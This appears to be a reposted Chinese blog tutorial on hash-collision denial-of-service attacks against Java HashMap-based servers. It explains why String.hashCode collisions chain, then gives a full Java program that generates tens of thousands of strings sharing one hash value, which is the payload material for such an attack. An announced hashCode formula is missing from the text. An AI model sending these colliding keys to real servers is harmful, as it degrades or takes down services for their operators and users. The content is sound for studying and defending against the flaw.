注：转自http://www.unclejoey.com/?p=554，有部分改动

摘要

     常见的服务器会将用户post的数据保存在hashmap中. 而向hashmap中插入n对元素的时间复杂度大约是O(n), 但如果精心构造key使得每个key的hash值相同(也就是产生了碰撞),则时间复杂度会恶化到O(n^2),导致消耗大量的CPU时间.在java中,字符串的hash函数采用DJBX33A,只不过常数因子改为了31. 这样的函数有个特点,即如果字符串X, Y的hash值相同,那么X,Y都添加任意相同的前缀或后缀的以后的hash值也都相同.比如: "rQ"与 "qp"的hash值相同, 则"rQrQ", "rQqp", "qprQ", "qpqp" 这四个也相同,继续这个模式就可以很容易构造出 2^n 个 2*n长度的不同字符串

PS: JDK中关于hashCode()方法的实现，可用以下公式表达：

代码

package com.unclejoey.just4fun;

import java.math.BigDecimal;

public class HashCollision {

    private static final int i1 = 48;

    private static final int i2 = 8;

    private static final int i3 = 31;

    private static final int i4 = 60000;

    private static final long l1 = i3 -1;

    private static final long l2 = 2l << 32;

    private static final BigDecimal d1 = new BigDecimal(31);

    private static final BigDecimal d2 = d1.pow(i2);

    private static final BigDecimal d3 = new BigDecimal(l2);

	public static void main(String[] args) {

		String t = "test_string";

		for(int i=0; i<=i4; i++) {

			String s = String.valueOf(i);

            while(s.length() < 5){

            	s = "0" + s;

            }

            int hs = s.hashCode();

    		char[] r = g(hs, t.hashCode());

    		s = s.concat(new String(r));

    		if (s.hashCode() != t.hashCode()) {

    			System.err.println("NO WAY, I Couldn't be wrong...");

    			System.exit(1);

    		}

    		System.out.println(s);

		}

	}

	private static char[] g(int s, int t) {

        long hx1 = l1 * s + i1;

        BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));

        BigDecimal hx3 = hx2.divide(new BigDecimal(l1));

        BigDecimal hx4 = new BigDecimal(t).subtract(hx3);

        BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));

        long l = hx4.subtract(b).longValue();

        l = (l+l2) % l2;

        if (l < 0) l += l2;

        char[] c = new char[i2];

        int p = 0;

        while (l != 0) {

            c[p++] = (char) (l % (i3) + i1);

            l = l / i3;

        }

        int f = i2 - p;

        char[] cs = new char[i2];

        int i = 0;

        while (i < f) {

            cs[i++] = (char) i1;

        }

        while (i < i2) {

            cs[i] = c[p - i + f - 1];

            ++i;

        }

        return cs;

    }

}